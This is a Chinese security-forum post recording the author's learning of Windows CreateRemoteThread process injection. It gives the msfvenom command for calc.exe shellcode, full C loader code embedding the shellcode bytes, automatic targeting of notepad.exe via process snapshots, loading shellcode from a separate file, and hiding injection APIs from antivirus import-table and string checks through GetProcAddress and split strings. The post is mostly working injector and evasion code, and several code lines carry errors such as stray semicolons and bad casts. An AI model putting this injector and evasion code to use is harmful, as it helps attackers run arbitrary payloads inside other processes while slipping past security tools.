暂无简介
前言
文章涉及的技术并不深,只是本人在学习进程注入过程中的记录,文章的内容将涉及到进程注入基础、通过快照自动获取Pid、分离加载shellcode、IAT导入表的基本处理、静态源码基本处理等,过程中需要理解的部分,我会尽可能言简意赅。
0x01 简单描述
进程注入就是给一个正在运行的程序开辟一块内存,把shellcode放入内存,然后用一个线程去执行shellcode。
0x02 shellcode
所有代码示例都使用从 Metasploit Frameworks Msfvenom 工具生成的相同 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 执行 Calc.exe
0x03 代码实现
关于 CreateRemoteThread() 进程注入,实际上需要实现四个主要目标:
- OpenProcess() 打开将要注入进程获取句柄
- VirtualAllocEx() – 能够访问外部进程以便在其虚拟地址空间内分配内存。
- WriteProcessMemory( ) – 将 shellcode 写入分配的内存。
- CreateRemoteThread() – 让外部进程在另一个线程中执行上述 shellcode。
获取目标进程句柄 OpenProcess()
OpenProcess 函数打开一个现有的进程对象。
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 渴望得到的访问权限(标志),那肯定是PROCESS_ALL_ACCESS,所有权限啊
BOOL bInheritHandle, // 是否继承句柄,一般不
DWORD dwProcessId // 进程标识符,即受害者进程的PID
);
申请内存 VirtualAllocEx()
我们首先需要分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。
LPVOID VirtualAllocEx(
HANDLE hProcess, // 申请内存所在的进程句柄
LPVOID lpAddress,// 保留页面的内存地址,一般用NULL自动分配
SIZE_T dwSize, // 欲分配的内存大小,字节为单位,通常是shellcode大小
DWORD flAllocationType, // 指定要分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT
DWORD flProtect // 指定分配的内存保护,由于它将包含要执行的代码,因此常用 PAGE_EXECUTE_READWRITE,可读可写可执行
);
写进程内存 WriteProcessMemory()
现在我们已经分配了一个与我们的 shellcode 大小相同的缓冲区,我们可以将我们的 shellcode 写入该缓冲区。
WriteProcessMemory() – 将数据写入指定进程中的内存区域。
BOOL WriteProcessMemory(
HANDLE hProcess, // 要向其中写入数据的进程,即由OpenProcess返回的进程句柄
LPVOID lpBaseAddress, // 要写入的数据的首地址,VirtualAllocEx的返回值
LPCVOID lpBuffer, // 指向要写的数据的指针,该指针必须是const指针,即shellcode
SIZE_T nSize, // 要写入的字节数,shellcode大小
SIZE_T *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数,通常为NULL
);
创建远程线程 CreateRemoteThread()
将 shellcode 加载到受害进程分配的虚拟内存空间后,我们现在可以告诉受害进程从我们的 shellcode 缓冲区地址开始创建一个新线程。
CreateRemoteThread() – 创建一个在另一个进程的虚拟地址空间中运行的线程。
HANDLE CreateRemoteThread(
HANDLE hProcess, // 线程所属进程的进程句柄,即OpenProcess返回的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性,通常为NULL
SIZE_T dwStackSize,// 线程栈初始大小,以字节为单位,通常为0,即代表使用系统默认大小.
LPTHREAD_START_ROUTINE lpStartAddress, // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值,注意需要强制类型转换成 LPTHREAD_START_ROUTINE
LPVOID lpParameter,// 传给线程函数的参数的指针,这里为NULL,在DLL注入的时候有重要意义
DWORD dwCreationFlags,// 线程的创建标志,通常为0,即线程创建后立即运行
LPDWORDlpThreadId // 指向所创建线程ID的指针,通常为NULL
);
基础代码
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
printf("alloc:%p\n", buf);
HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)FALSE,
//(DWORD)atoi(pid));
atoi(argv[1]));
if (Process == NULL)
{
printf("\nopenprocess error%d\n", GetLastError());
}
printf("pid:%d",atoi(argv[1]));
void * exec = VirtualAllocEx(
Process,
NULL,
sizeof(buf),
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (exec == NULL)
{
printf(“VirtualAllocEx error%d\n“, GetLastError());
}
BOOL Memory = WriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
sizeof buf,
NULL );
if (Memory == 0)
{
printf(“WriteProcessMemory:%d\n“, GetLastError());
}
HANDLE thred = CreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL );
if (thred == NULL)
{
printf(“CreateRemoteThread:%d\n“, GetLastError());
}
}
拍摄快照自动获取pid
官方demo https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes
// 拍摄快照
HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0);
if (Snapshot == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot:%d\n", GetLastError());
}
//初始化
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);
if (First == FALSE)
{
printf("Process32First:%d\n", GetLastError());
}
//匹配注入进程名字
DWORD pid;
while (First)
{
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);
}
分离加载 shellcode
HANDLE openinfile = CreateFileA(
//"e:\\calc.bin",
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (openinfile == INVALID_HANDLE_VALUE);
{
printf(“CreateFile Error:%d\n“, GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf(“GetFileSize Error:%d\n“, GetLastError());
}
//
char buf = (char)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf(“\x%02x”, (unsigned char)buf[i]);
}
IAT,导入地址表(Import Address Table)
IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。
翻译:IAT是一种表格,用来记录程序正在使用哪些库中的哪些函数。
如果一个文件的文件大小在300KB以内,并且导入函数又有Virtual Alloc、CreateThread等高危函数、且VirtualAlloc的最后一个参数是0x40,那么此文件极有可能是高危文件,会被重点关注。
没修改iat之前 可以看到存在高危函数 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等
在字符串中还能看到敏感函数关键字,解决办法:通过拆分、源代码混淆、加壳等即可。
GetProcAddress 获取函数地址
GetProcAddress这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。
typedef LPVOID(WINAPI* Virtual_AllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef BOOL (WINAPI ImportWriteProcessMemory)(
In HANDLE hProcess,
In LPVOID lpBaseAddress,
In_reads_bytes(nSize) LPCVOID lpBuffer,
In SIZE_T nSize,
Out_opt SIZE_T lpNumberOfBytesWritten
);
typedef HANDLE (WINAPI* ImportCreateRemoteThread)(
In HANDLE hProcess,
In_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
In SIZE_T dwStackSize,
In LPTHREAD_START_ROUTINE lpStartAddress,
In_opt LPVOID lpParameter,
In DWORD dwCreationFlags,
Out_opt LPDWORD lpThreadId
);
//避免高危字符串
char ker32[] = { ‘K’,‘e’,‘r’,‘n’,‘e’,‘l’,‘3’,‘2’,‘.’,‘d’,‘l’,‘l’,0 };
HMODULE hKer32 = LoadLibraryA(ker32);
char VAllocEx[] = { ‘V’,‘i’,‘r’,‘t’,‘u’,‘a’,‘l’,‘l’,‘o’,‘c’,‘E’,‘x’,0};
Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);
//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT(“kernel32.dll”)), “VirtualAllocEx”);
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT(“kernel32.dll”)), “WriteProcessMemory”);
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT(“kernel32.dll”)), “CreateRemoteThread”);
完整代码
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <TCHAR.h>
typedef LPVOID(WINAPI* ImportVirtualAllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef BOOL(WINAPI* ImportWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
);
typedef HANDLE(WINAPI* ImportCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
void code(LPCSTR lnFileName) {
//char ker32[] = { ‘K’,’E’,’r’,’n’,’e’,’l’,’3’,’2’,’.’,’d’,’l’,’l’,0 };
//HMODULE hKer32 = LoadLibraryA(ker32);
//char VAllocEx[] = { ‘V’,’i’,’r’,’t’,’u’,’a’,’l’,’l’,’o’,’c’,’E’,’x’,0 };
//Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, “VirtualAllocEx”);
ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT(“kernel32.dll”)), “VirtualAllocEx”);
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT(“kernel32.dll”)), “WriteProcessMemory”);
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT(“kernel32.dll”)), “CreateRemoteThread”);
HANDLE openinfile = CreateFileA(
//“e:\calc.bin”,
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (openinfile == INVALID_HANDLE_VALUE);
{
printf(“CreateFile Error:%d\n“, GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf(“GetFileSize Error:%d\n“, GetLastError());
}
//
char buf = (char)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf(“\x%02x”, (unsigned char)buf[i]);
}
//
HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0);
if (Snapshot == INVALID_HANDLE_VALUE)
{
printf(“CreateToolhelp32Snapshot:%d\n“, GetLastError());
}
//
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);
if (First == FALSE)
{
printf(“Process32First:%d\n“, GetLastError());
}
//
DWORD pid;
while (First)
{
if (wcscmp(pe32.szExeFile, L“notepad.exe”) == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);
}
HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)false,
//(DWORD)atoi(pid));
(DWORD)pid
);
if (Process == NULL)
{
CloseHandle(Process);
printf(“\nopenprocess error%d\n“, GetLastError());
}
_tprintf(TEXT(“\npid:%d\n“), pe32.th32ProcessID);
HANDLE exec = MyVirtualAllocEx(
Process,
NULL,
//sizeof(buf),
size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (exec == NULL)
{
printf(“VirtualAllocEx error%d\n“, GetLastError());
}
BOOL Memory = MyWriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
//sizeof buf,
size,
NULL);
if (Memory == 0)
{
printf(“WriteProcessMemory:%d\n“, GetLastError());
}
HANDLE thred = MyCreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL);
if (thred == NULL)
{
CloseHandle(thred);
printf(“CreateRemoteThread:%d\n“, GetLastError());
}
}
int main(int argc, char* argv[]) {
//int main()
if (argc != 2)
{
printf(“please bin”);
}
else
{
code(argv[1]);
}
}
后续还可以尝试增加syscall直接调用、回调函数执行、申请内存优化、高强度加密混淆等等,还请师傅自行搭配使用。
0x04 相关推荐
https://payloads.online/archivers/2020-10-23/1/
https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/
https://github.com/d35ha/CallObfuscator
0x05 后记
不足之处欢迎师傅们指点和纠正,感谢给予帮助和支持的朋友,最后谢谢你。
声明:本文章经用于经验及交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意。
- 本文作者: 九八二一
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11489
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!